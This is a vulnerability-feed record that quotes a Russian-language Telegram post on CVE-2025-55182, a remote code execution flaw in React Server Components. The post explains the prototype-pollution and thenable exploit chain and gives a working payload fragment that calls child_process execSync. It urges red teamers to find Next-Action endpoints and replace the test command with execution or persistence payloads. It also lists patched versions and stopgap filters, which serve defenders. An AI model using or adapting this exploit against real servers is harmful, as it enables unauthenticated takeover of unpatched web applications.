{"uuid": "e5104a01-1887-4805-9ba7-0e19dfe322a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-55182", "type": "seen", "source": "https://t.me/cyberwarehouse/1021", "content": "React RCE POC: \n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u0430, cvss 10.0. \u0435\u0441\u043b\u0438 \u0443 \u0442\u0435\u0431\u044f next/react 19.x \u0441 server components \u2013 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u0432\u043e\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430.\n\n\u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438\n\nreact flight-\u043f\u0430\u0440\u0441\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b, \u0447\u0442\u043e \u043a\u043b\u044e\u0447\u0438 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 \u0441\u0430\u043c\u043e\u043c\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u0443. \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \"$1:__proto__:constructor:constructor\" \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0439 Function \u043f\u0440\u044f\u043c\u043e \u043f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0430\u043d\u043a\u043e\u0432. \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u044f\u0442\u043d\u043e: \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u00abexec\u00bb-\u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0431\u0435\u0437 vm, eval \u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u043a\u043e\u0441\u0442\u044b\u043b\u0435\u0439 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f \u0434\u0443\u043c\u0430\u043b \u0432\u0447\u0435\u0440\u0430 \u043d\u043e\u0447\u044c\u044e.\n\n\u0448\u0430\u0433 2: then + await\n\nnext.js \u0434\u0435\u043b\u0430\u0435\u0442 await decodeReplyFromBusboy(...). \u0435\u0441\u043b\u0438 \u0434\u0435\u043a\u043e\u0434\u0435\u0440 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u0431\u044a\u0435\u043a\u0442 \u0441 \u043f\u043e\u043b\u0435\u043c then, \u0440\u0430\u043d\u0442\u0430\u0439\u043c \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u043c\u0438\u0441 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 then(resolve, reject). \u043c\u044b \u043f\u043e\u0434\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442, \u0433\u0434\u0435 then \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u0448 Function (\u0434\u043e\u0441\u0442\u0430\u043b\u0438 \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 __proto__). await \u043f\u043e\u0441\u043b\u0443\u0448\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e. \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442 \u2013 \u043a\u0440\u044d\u0448 \u043d\u0430 SyntaxError, \u043d\u043e \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u0443\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 RCE-\u0447\u0435\u0439\u043d\n\n\u0434\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0441\u0451\u043b\u043e\u0435:\n\n* \u0441\u043f\u0435\u0446-\u0444\u043e\u0440\u043c\u0430\u0442 \"$@0\" \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0441\u044b\u0440\u043e\u0439 \u0447\u0430\u043d\u043a \u043f\u043e id, \u0430 \u043d\u0435 \u0443\u0436\u0435 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442;\n* \u0447\u0430\u043d\u043a\u0438 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 thenable, \u0447\u0435\u0440\u0435\u0437 Chunk.prototype.then \u043e\u043d\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 initializeModelChunk;\n* initializeModelChunk \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u0435\u0442 \u043d\u0430\u0448\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 reviveModel, \u043d\u043e \u0443\u0436\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c response.\n\n\u043c\u044b \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0447\u0430\u043d\u043a:\n\n* status: \"resolved_model\" \u2014 \u0447\u0442\u043e\u0431\u044b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b initializeModelChunk;\n* value: '{\"then\":\"$B0\"}' \u2014 \u043d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u043e\u0445\u043e\u0434\u0435 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0444\u0438\u043a\u0441 $B (blob);\n* _response._formData.get \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043d\u0430 Function;\n* _response._prefix \u0437\u0430\u0431\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0442\u0438\u043f\u0430 process.mainModule.require('child_process').execSync('id');.\n\n\u0432 reviveModel \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432:\n\nresponse._formData.get(response._prefix + \"0\")\n\n\u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435:\n\nFunction(\"process.mainModule.require('child_process').execSync('calc');0\")\n\n\u0434\u0430\u043b\u044c\u0448\u0435 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0435\u0449\u0451 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u043c\u0438\u0441\u043e\u0432 \u2192 \u043f\u043e\u043b\u043d\u044b\u0439 RCE \u0432\u043d\u0443\u0442\u0440\u0438 node-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u043e\u0434\u0438\u043d http-\u0437\u0430\u043f\u0440\u043e\u0441, \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430.\n\n\u043a\u0442\u043e \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439?\n\n* react 19.0\u201319.2 \u0441 react-server-dom-* (webpack/parcel/turbopack);\n* \u043b\u044e\u0431\u044b\u0435 server actions / server functions;\n* \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0436\u0438\u0432\u0451\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c decode/flight-\u043f\u0430\u0440\u0441\u0435\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u043b\u043e\u0433\u0438\u043a\u0435.\n\n\u043f\u0430\u0442\u0447 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c: 19.0.1 / 19.1.2 / 19.2.1. \n\u0435\u0441\u043b\u0438 \u0443 \u0442\u0435\u0431\u044f \u043f\u0440\u043e\u0434 \u043d\u0430 \u044d\u0442\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 rsc \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u2014 \u044d\u0442\u043e \u043d\u0435 \u00ab\u043d\u0430\u0434\u043e \u0431\u044b \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f\u00bb, \u044d\u0442\u043e \u00ab\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u044b\u043b\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0447\u0435\u0440\u0430\u00bb. \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u0441\u0442\u044b\u043b\u0438 \u2014 \u0432\u044b\u0440\u0443\u0431\u0438\u0442\u044c server components, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint\u2019\u0430\u043c. \u0435\u0449\u0435 \u0435\u0441\u0442\u044c \u0445\u0443\u0434\u0448\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 - \u0436\u0451\u0441\u0442\u043a\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u0442\u044c payload\u2019\u044b \u0441 $@, $B, __proto__. \n\n\u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c red team\n\n* \u043d\u0430 next/react-\u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u0438 react-server-dom-*;\n* \u0438\u0441\u043a\u0430\u0442\u044c endpoint\u2019\u044b \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c Next-Action \u0438 multipart body;\n* \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c PoC, \u0438 \u0432\u043c\u0435\u0441\u0442\u043e calc \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0430\u0448\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e/\u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044e.\ncrafted_chunk = {\n    \"then\": \"$1:__proto__:then\",\n    \"status\": \"resolved_model\",\n    # \"reason\": -1,\n    \"value\": '{\"then\": \"$B0\"}',\n    \"_response\": {\n        \"_prefix\": f\"process.mainModule.require('child_process').execSync('calc');\",\n        \"_formData\": {\n            \"get\": \"$1:constructor:constructor\",\n        },\n    },\n}\n\nfiles = {\n    \"0\": (None, json.dumps(crafted_chunk)),\n    \"1\": (None, '\"$@0\"'),\n}\nhttps://github.com/msanft/CVE-2025-55182\n\n\u044d\u0442\u043e \u0442\u043e\u0442 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 js-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0447\u0435\u0441\u0442\u043d\u043e \u0434\u043e\u0432\u043e\u0437\u0438\u0442 \u0442\u0435\u0431\u044f \u043e\u0442 \u0433\u0440\u044f\u0437\u043d\u043e\u0433\u043e payload\u2019\u0430 \u0434\u043e DMZ \u0430 \u043c\u043e\u0436\u0435\u0442 \u0438 \u0434\u043e L2.\n\n\u043c\u043e\u0435 \u043f\u043e\u0447\u0442\u0435\u043d\u0438\u0435, Moritz Sanft \ud83d\udc4f\n\n\ud83d\udc7e", "creation_timestamp": "2026-07-26T02:00:07.411724Z"}